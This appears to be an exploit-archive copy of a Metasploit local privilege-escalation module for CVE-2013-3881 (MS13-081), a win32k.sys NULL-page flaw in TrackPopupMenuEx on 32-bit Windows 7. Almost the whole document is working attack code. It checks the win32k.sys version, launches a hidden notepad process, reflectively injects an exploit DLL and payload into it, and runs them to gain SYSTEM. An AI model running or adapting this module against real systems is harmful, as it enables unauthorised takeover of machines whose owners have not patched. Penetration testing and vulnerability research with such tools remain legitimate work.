Windows TrackPopupMenuEx Win32k NULL Page Exploit

:
12.02.2014
:
Windows 7 SP0, Windows 7 SP1
:
:
Microsoft Windows

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking

include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection

def initialize(info={})
super(update_info(info, {
'Name' => 'Windows TrackPopupMenuEx Win32k NULL Page',
'Description' => %q{
This module exploits a vulnerability in win32k.sys where under
specific conditions TrackPopupMenuEx will pass a NULL pointer to
the MNEndMenuState procedure. This module has been tested
successfully on Windows 7 SP0 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Seth Gibson', # vulnerability discovery
'Dan Zentner', # vulnerability discovery
'Matias Soler', # vulnerability analysis
'Spencer McIntyre'
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Windows 7 SP0/SP1', { } ]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'CVE', '2013-3881' ],
[ 'OSVDB', '98212' ],
[ 'BID', '62830'],
[ 'MSB', 'MS13-081' ],
[ 'URL', 'http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html' ],
[ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ]
],
'DisclosureDate' => 'Oct 08 2013',
'DefaultTarget' => 0
}))
end

def check
os = sysinfo["OS"]
if (os =~ /windows/i) == nil
return Exploit::CheckCode::Unknown
end

file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")

case build
when 7600
return Exploit::CheckCode::Vulnerable
when 7601
return Exploit::CheckCode::Vulnerable if revision <= 18126
when 9200
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Unknown
end

def exploit
if is_system?
fail_with(Exploit::Failure::None, 'Session is already elevated')
end

if check != Exploit::CheckCode::Vulnerable
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
end

if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
end

print_status("Launching notepad to host the exploit...")
notepad_process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Reader Sandbox won't allow to create a new process:
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_status("Operation failed. Trying to elevate the current process...")
process = client.sys.process.open
end

print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits",
"cve-2013-3881", "cve-2013-3881.x86.dll")
library_path = ::File.expand_path(library_path)

print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)

print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)

# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status("Payload injected. Executing exploit...")
process.thread.create(exploit_mem + offset, payload_mem)

print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
end

end

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